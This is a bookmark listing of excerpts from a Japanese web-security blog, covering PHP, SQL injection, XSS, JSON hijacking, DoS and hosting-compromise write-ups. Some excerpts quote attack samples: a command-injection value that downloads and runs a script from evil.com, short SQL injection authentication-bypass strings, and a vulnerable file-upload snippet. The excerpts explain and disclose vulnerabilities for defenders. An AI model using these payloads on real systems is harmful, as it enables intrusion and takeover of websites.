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ブックマーク / blog.tokumaru.org (23)

  • PHP 7.2以降におけるPDO::PARAM_INTの仕様変更

    サマリ PHP 7.2以降、PDOの内部実装が変更された。動的プレースホルダ(エミュレーションOFF)にてバインド時にPDO::PARAM_INTを指定した場合、PHP 7.1までは文字列型としてバインドされていたが、PHP 7.2以降では整数型としてバインドされる。 この変更により、従来PDOが内包していた「暗黙の型変換」は解消される一方、integerへの暗黙のキャストにより、整数の最大値を超えた場合に不具合が発生する可能性がある。 この記事を読むのに必要な前提知識 この記事は、以前の記事(下記)の続編のような形になっています。 PDOのサンプルで数値をバインドする際にintにキャストしている理由 この記事では、PDOを用いたサンプルスクリプトでbindValue時にinteger型へのキャストを明示している理由を説明しています。パラメータを文字列として渡した場合、PDO::PARAM

    gayou
    gayou 2020/03/27
  • PHPの脆弱性 CVE-2018-17082 によるキャッシュ汚染についての注意喚起

    エグゼクティブサマリ PHPの脆弱性CVE-2018-17082はXSSとして報告されているが、現実にはXSSとしての攻撃経路はない。一方、Apacheのmod_cacheによるキャッシュ機能を有効にしているサイトでは、キャッシュ汚染という攻撃を受ける可能性がある。 概要 PHPの現在サポート中のすべてのバージョンについて、XSS脆弱性CVE-2018-17082が修正されました。以下は対応バージョンであり、これより前のすべてのバージョンが影響を受けます。ただし、Apacheとの接続にApache2handlerを用いている場合に限ります。 PHP 5.6.38 PHP 7.0.32 PHP 7.1.22 PHP 7.2.10 PHP 5.5以前も対象であり、これらは脆弱性は修正されていません。 脆弱性を再現させてみる この脆弱性のPoCは、当問題のバグレポートにあります。 PHP ::

    PHPの脆弱性 CVE-2018-17082 によるキャッシュ汚染についての注意喚起
  • Joomla! 3.4まではUTF-8の4バイト文字を悪用して重複するログイン名が登録できた

    以前の記事CMS四天王のバリデーション状況を調査したところ意外な結果になったで報告したように、Joomla!はログイン名の制限が非常にゆるやかになっています。であれば、🍣とか、💩などを含むログイン名が登録できるのだろうかという疑問が生じました。 とはいえ、以前、Joomla!の「ゼロデイコード実行脆弱性」はPHPの既知の脆弱性が原因で報告したように、少なくともJoomla! 3.4.5までは、MySQLの設定上 UTF-8 の4バイト文字は登録できず、それ以降の文字が全て切り詰められるという問題がありました。 このため、「admin🍣」というログイン名を登録しようとすると、🍣の切り詰めが起こって、adminユーザを二重に登録できなるのではないでしょうか? 試してみる Joomla! 3.4.8の環境を用意して管理者ユーザーを「admin」としておきます。下記のように、default

    Joomla! 3.4まではUTF-8の4バイト文字を悪用して重複するログイン名が登録できた
  • PDOのサンプルで数値をバインドする際にintにキャストしている理由

    先日PHPカンファレンス北海道2016にて「『例えば、PHPを避ける』以降PHPはどれだけ安全になったか」と題して基調講演を担当致しました。その際のスライドはこちら。 そうしたところ、以下のご指摘をいただきました。 @ockeghem スライド拝見しました。39番目のスライドですが、バインドのタイミングでintにキャストするのはちょっと例として良くない気がします。意図的にオーバーフローを起こすことで想定外のレコードの取得を許してしまいそうです。キャストしない方がまだ安全だと思うのですが。 SQLデータベースは、int型よりも大きな桁数を扱える場合があるので、intへのキャストを避けた方がよいという指摘は一般論としてはもっともなものだと考えます。PHPの場合、9223372036854775807を越える数字文字列をint型にキャストすると、9223372036854775807が返ります(

  • 嵐のコンサートがあるとダブルブッキングしてしまうホテル予約システムを作ってみた

    今年の5月1日に、仙台市内のホテルで多重予約のトラブルが発生したと報道されています。 部屋数203室の仙台市のビジネスホテルで、9月18~23日の宿泊予約を数千件受け付けるトラブルがあった。アイドルグループ「嵐」のライブが宮城県内で開催される期間だった。インターネットでの申し込みが殺到し、システム障害が起きたとみられるという。 トラブルがあったのは、仙台市泉区の「ホテルルートイン仙台泉インター」。ホテルなどによると、9月19、20、22、23日に宮城スタジアム(宮城県利府町)で嵐がライブを開くことが明らかになった後の5月1日午前5時ごろ、ネットを使った予約申し込みが殺到していることに気づいたという。 203室のホテルなのに「予約」数千件 嵐公演で殺到か:朝日新聞デジタル より引用 5月1日の朝に何があったのか調べてみると、この日の早朝にテレビや新聞でコンサートの情報が流れたようですね。 お

    嵐のコンサートがあるとダブルブッキングしてしまうホテル予約システムを作ってみた
  • 画像ファイルによるクロスサイト・スクリプティング(XSS)傾向と対策

    補足 この記事は旧徳丸浩の日記からの転載です(元URL、アーカイブはてなブックマーク1、はてなブックマーク2)。 備忘のため転載いたしますが、この記事は2007年12月6日に公開されたもので、当時の徳丸の考えを示すものを、基的に内容を変更せずにそのまま転載するものです。 補足終わり 最近、画像ファイルを用いたクロスサイト・スクリプティングが注目されている。稿では、画像を悪用したXSSについて説明した後、対策方法について解説する。 画像によるXSSとはどのようなものか Internet Explorer(IE)の特性として、コンテンツの種類を判別する際に、レスポンスヘッダ内のContent-Typeだけでなく、コンテンツの内容も判断基準にしている。このため、Content-Typeが例えばimage/gif(GIF画像)となっていても、中身がHTMLであればHTMLと解釈して表示する。

    画像ファイルによるクロスサイト・スクリプティング(XSS)傾向と対策
  • 書籍「気づけばプロ並みPHP」にリモートスクリプト実行の脆弱性

    書籍「気づけばプロ並みPHP」のサンプルスクリプトにリモートスクリプト実行の脆弱性があるので報告します。 はじめに Yahoo!知恵袋の質問を読んでいたら、以下の質問がありました。 気づけばプロ並みPHP (著)谷藤賢一 (発行)リックテレコムP112の画像をアップロードする機能でエラーがでます。 http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q11119835496 より引用 質問に対しては回答が既についてクローズされていましたが、引用されているソースを見て任意のファイルを任意のファイル名で、Web公開ディレクトリにアップロードできることに気づきました(下記)。 <?php // 略 $pro_gazou=$_FILES['gazou']; // 略 if($pro_gazou['size']>0) { if ($pro_

  • CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました

    昨夜に、魔法少女アパッチ☆マギカ攻撃を観測しました。魔法少女アパッチ☆マギカとは、PoCのソースコードに Apache Magica by Kingcope とコメントされていることに由来しています(というか、私がそう訳しましたw)。 これは10月29日にPoCが発表されたPHP-CGI攻撃(CVE-2012-1823)の変種です。従来のPHP-CGI攻撃は、CGI版PHPが動作する環境で、PHPスクリプト(中身はなんでもよい)に対する攻撃でしたが、魔法少女アパッチマギカの方は、/cgi-bin/に置かれたPHP処理系(php-cgiなど)に直接攻撃するものです。 CGI版PHPを設置する方法は複数ありますが、よく使われる方法としてApacheのリダイレクトによりPHPスクリプトをPHP処理系に実行させる方法があります。この場合、/cgi-bin/php-cgiなどとしてPHP処理系を公開

  • PHPだってシェル経由でないコマンド呼び出し機能が欲しい

    このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba

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    gayou 2013/12/22
  • ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策

    既に報道されているように、ロリポップ!レンタルサーバーに対する改ざん攻撃により、被害を受けたユーザー数は8428件にのぼるということです。ここまで影響が大きくなった原因は、報道によると、(1)「WordPressのプラグインやテーマの脆弱性を利用」し、不正なファイルがアップロードされた、(2)パーミッション設定の不備を悪用されて被害が拡大した、ということのようです。 29日夜の時点では、攻撃者の改ざん手法について「WordPressのプラグインやテーマの脆弱性を利用」し、不正なファイルがアップロードされて「wp-config.phpの」の設定情報が抜き出されたと説明していたが、30日午後7時過ぎの説明で、この脆弱性が侵入経路となって同社のパーミッション設定の不備を悪用されたことが原因だったことを明らかにした。 「ロリポップ」のWordPressサイト改ざん被害、原因はパーミッション設定不備

    ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
    gayou
    gayou 2013/09/02
  • SQLインジェクションゴルフ - なんと3文字で認証回避が可能に

    昨日のエントリ「SQLインジェクションゴルフ - 認証回避の攻撃文字列はどこまで短くできるか?」にて、認証回避の攻撃文字列が5文字にできる(「'OR'1」)ことを示しましたが、@masa141421356さんと、やまざきさん(お二人とも拙著のレビュアーです)から、idとpwdにまたがった攻撃例を示していただきました。やまざきさんの例は、MySQL限定ながら、なんと3文字です。これはすごい。 @masa141421356さんの攻撃例 @masa141421356さんのツイートを引用します。 @ockeghem 大抵のDBでid=''OR' AND pwd='>' ' が通ると思います(id側に「'OR」, pwd側に「>' 」で6文字)。長さ0の文字列がNULL扱いされないDBなら最後のスペースを消して5文字です。 — masa141421356 (@masa141421356) June

  • JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013-1297)に注意

    はせがわようすけ氏のブログエントリ「機密情報を含むJSONには X-Content-Type-Options: nosniff をつけるべき」にて、巧妙な罠を仕掛けることにより、別ドメインのJSONデータをvbscriptとして読み込み、エラーハンドラ経由で機密情報を盗み出すという手法が紹介されました。これは、IEの脆弱性CVE-2013-1297を悪用したもので、MS13-037にて解消されていますが、MS13-037はIE6~IE8が対象であり、IE9以降では解消されていません。 また、MS13-037を適用いていないIE6~IE8の利用者もしばらく残ると考えられることから、この問題を詳しく説明致します。サイト側の対策の参考にして下さい。 問題の概要 JSON形式のデータは、通常はXMLHttpRequestオブジェクトにより読み出しますが、攻撃者が罠サイトを作成して、vbscript

    JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013-1297)に注意
  • さくらDNSにサブドメインハイジャックを許す脆弱性

    さくらインターネット株式会社のDNSサービスにセキュリティ上の問題がありましたが、改修されましたので報告します。 DNSサービスへのドメイン登録時における不具合について 障害内容 : 当社の提供するネームサーバサービスにおいて、既に登録されているドメインのサブドメインが、他の会員IDの方に登録できる状態となっておりました。この障害により、悪意のある第三者がドメインの一部を乗っとれる脆弱性につながる危険性がありました。 問題につきましては現在は解消されており、全ての登録について不正がないかの調査を行っております。 この問題の発見者は前野年紀氏で、私はさくらインターネット株式会社に問題を通告し、改修を促すための連絡などでお手伝いをしました。 (12:00追記)なお、この脆弱性が混入したのは6月8日頃で、さくらインターネットは6月11日から修正を開始し、昨日(6月13日)には改修されましたので

    さくらDNSにサブドメインハイジャックを許す脆弱性
  • CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823)

    CGI環境でPHPを動作させているサイトには、リモートからスクリプト実行を許してしまう脆弱性があります。php.netから提供されている修正リリース(PHP 5.3.12 / PHP 5.4.2)は不完全なため、該当するサイトは至急回避策を導入することを推奨します。 概要 CGIの仕様として、クエリ文字列に等号を含めない場合は、クエリ文字列がCGIスクリプトのコマンドライン引数として指定されます。 例えば、http://example.jp/test.cgi?foo+bar+bazという呼び出しに対しては、test.cgiは以下のコマンドラインで呼び出されます。 test.cgi foo bar baz この仕様を悪用して、CGI版のPHPにコマンドライン引数としてPHPのオプションを指定できます。例えば、http://example.jp/test.php?-s というリクエストは、-s

    CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823)
  • 処理開始後の例外処理では「サニタイズ」が有効な場合もある

    このエントリでは、脆弱性対処における例外処理について、奥一穂氏(@kazuho)との会話から私が学んだことを共有いたします。セキュアプログラミングの心得として、異常が起これば直ちにプログラムを終了することが推奨される場合がありますが、必ずしもそうではないというのが結論です。 はじめに Webアプリケーションの脆弱性対策では、脆弱性が発生するのはデータを使うところであるので、データを使う際の適切なエスケープ処理などで対処するのがよいと言われます。しかし、処理内容によってはエスケープができない場合もあり、その場合の対処についてはまだ定説がないと考えます。 エスケープができない場合の例としては、以下があります。 SQLの数値リテラルを構成する際に、入力に数値以外の文字が入っていた メール送信しようとしたが、メールアドレスに改行文字が入っていた 入力されたURLにリダイレクトしようとしたところ、U

  • Webアプリケーションに対する広範なDoS攻撃手法(hashdos)の影響と対策

    28C3(28th Chaos Communication Congress)において、Effective Denial of Service attacks against web application platforms(Webプラットフォームに対する効果的なサービス妨害攻撃)と題する発表がありました(タイムスケジュール、講演スライド)。 これによると、PHPをはじめとする多くのWebアプリケーション開発プラットフォームに対して、CPU資源を枯渇させるサービス妨害攻撃(DoS攻撃)が可能な手法が見つかったということです。この攻撃は、hashdos と呼ばれています。 概要PHPなど多くの言語では、文字列をキーとする配列(連想配列、ハッシュ)が用意されており、HTTPリクエストのパラメータも連想配列の形で提供されます。PHPの場合、$_GET、$_POSTなどです。 連想配列の実装には

  • KDDIの新GWで「かんたんログイン」なりすましの危険性あり直ちに対策された

    au/KDDIの2011年秋冬モデル(現時点ではF001のみ)にてEZwebとPCサイトビューア(以下PCSV)のゲートウェイが統合されたことに伴い、かんたんログインを実装しているサイトに対して、F001のPCSVからJavaScriptを用いた「なりすまし」攻撃ができる状態でした。この問題をKDDIに通報したところ、直ちに対策が取られ、現在は安全な状態です。以下、詳しく報告します。 目次概要 経緯 何が問題か 経緯説明(1)基的なチェックは対処済みだった 経緯説明(2)ハイフンをアンダースコアに変えるトリックは対策済み 経緯説明(3)海老原氏が発見したトリックとは 経緯説明(4)KDDIに連絡→翌日に対処 実証例 外部からJavaScriptを実行できる条件 影響を受けるサイトの条件 影響 対策 今回の問題は、端末あるいはau設備の脆弱性なのか まとめ 概要以前、「EZwebの2011

    KDDIの新GWで「かんたんログイン」なりすましの危険性あり直ちに対策された
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    gayou 2011/11/29
    F001のPCSVからアクセス時のIPアドレス帯が変更された経緯
  • Apache killerは危険~Apache killerを評価する上での注意~

    Apacheの脆弱性(CVE-2011-3192)いわゆるApache killerが話題になっていますが、その脅威については一部誤解があるようです。 以下は、非常に脅威とする報告の例です。 一方今回のはプロセスの肥大化を伴うので、実メモリ消費して更にスワップも使い尽くしてOS毎激重になったあげくLinuxとかの場合はOOM Killer発動と、他のプロセスや場合によってはOSを巻き込んで逝ってしまいます。 CVE-2011-3192 Range header DoS vulnerability Apache HTTPD 1.3/2.xより引用 以下は、それほど脅威でなかったとする報告の例です。 pooh.gr.jp は結構頑丈だったので 60 並列でやっと CPU idle 30% まで減らせた。 Apache Killer (CVE-2011-3192) 対策 for CentOS 5

    gayou
    gayou 2011/08/28
  • PDOにおける一応の安全宣言と残る問題点

    8月18日にPHP5.3.7がリリースされました。このリリースにより、PDOのSQLインジェクションの問題が一応解決されたと判断しましたので、ここに「一応の安全宣言」を表明するとともに、残る問題について報告します。 PDOの問題とは何か 以前、ぼくがPDOを採用しなかったわけ(Shift_JISによるSQLインジェクション)にて報告したように、PHP5.3.5以前のPDOにはDB接続時に文字エンコーディングを指定する機能がないため、文字列リテラルのエスケープの際に文字エンコーディングをLatin1を仮定してしまうという問題がありました。この状態ですと、DBにShift_JISで接続している際に、SQLインジェクション脆弱性が混入しました。 ※ 実は、先のエントリの「追記(2010/07/01 22:20)」に紹介した方法で文字エンコーディングを指定できるのですが、ほとんど知られていないのと

    gayou
    gayou 2011/08/23
  • ソフトバンクの非公式JavaScript対応の調査結果

    ソフトバンクのYahoo!ケータイブラウザは、2010年春モデルまで非公式のJavaScript対応機種がありました。2010年5月に、私的にその対応状況を調査した結果を公表します。 これは、「Yahoo!ケータイの一部端末に「かんたんログイン」なりすましを許す問題」を公表するにあたり、影響のある端末を調べるために、端末実機の検証センターにて抜き取り検査した結果です。 考察JavaScriptが最初に搭載されたのは、2004冬の702NKらしい。以降、ノキア端末にはJavaScriptが搭載される。この時期のJavaScriptは簡易的なもの。 2006年冬モデルから多くのモデルでJavaScriptが搭載される。この時期の端末は、DOMは対応しているが、XMLHttpRequestは対応していない。 2008年春モデルから一部の機種でXMLHttpRequestをサポートする。 シャープ